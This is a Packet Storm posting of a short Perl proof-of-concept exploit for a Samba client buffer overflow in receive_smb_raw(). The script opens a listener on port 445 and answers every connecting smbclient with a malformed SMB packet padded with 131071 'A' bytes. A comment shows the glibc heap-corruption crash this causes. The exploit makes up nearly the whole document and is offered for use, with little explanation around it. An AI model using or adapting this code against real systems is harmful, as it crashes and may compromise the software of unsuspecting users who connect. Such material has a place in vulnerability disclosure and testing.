Samba (client) receive_smb_raw() proof of concept buffer overflow exploit.
3dfc6cb172d2c7313849ba252c509f0cbd0837fc6e1bee99e8b9720af7ab73be#!/usr/bin/perl
# 06/01/2008 - k`sOSe
#
# ~ # smbclient //localhost/w00t
# *** glibc detected *** smbclient: free(): invalid next size (fast): 0x0823c2d8 ***
#
use warnings;
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '445', Listen => 1, Reuse => 1) || die($!);
while(my $csock = $sock->accept())
{
print $csock "\x00" .
"\x01\xff\xff" .
"\x41" x 131071;
}
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed